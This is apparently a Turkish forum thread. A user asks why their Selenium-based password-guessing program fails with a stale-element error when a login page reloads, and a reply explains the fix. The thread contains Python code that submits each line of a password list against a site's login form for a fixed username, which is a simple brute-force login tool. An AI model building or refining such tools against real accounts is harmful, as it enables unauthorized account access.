Merhaba. Kendime bir program kodlamayı denemekteyim. Şifreleri denemek üzerine olan bir program. Programın kodunu azcık yazabildim fakat şöyle bir hata ile karşılaştım, sitenin username ve passwordunu girdikten sonra hatalı yazısı çıkıyor ya o hatalı yazısı çıkarken sayfa yenilenmiyorsa (örneğin instagram) program çalışıyor. Fakat kullanıcı adı ve şifreyi yazdıktan sonra sayfayı yenileyip hata veriyorsa "the element is no longer attached to the DOM, it is not in the current frame context, or the document has been refreshed" bu sorun ile karşılaşıyorum. Çözümünü bilen arkadaşlar yardımcı olabilir mi
sayfa yenilendikten sonra selenium sayfayı yeniden indirecek şekilde düzenlemelisin. göründüğü kadarıyla aynı kodu birden fazla sitede kullanmaya çalışıyorsun. one size fits for all yaklaşımı selenium'da tutmaz. hedef siteye göre farklı kod yazmalısın.
from selenium import webdriver
import time
tarayici = webdriver.Firefox()
tarayici.get('xxxx/login/index.php')
time.sleep(3)
username = tarayici.find_element_by_name('username')
password = tarayici.find_element_by_name('password')
giris_yap = tarayici.find_element_by_xpath('//*[@id="loginbtn"]')
dosya = open('list.txt','r')
for satir in dosya:
username.send_keys('kullanici2222')
password.send_keys(satir)
giris_yap.click()
dosya.close()
time.sleep(1)
tarayici.close()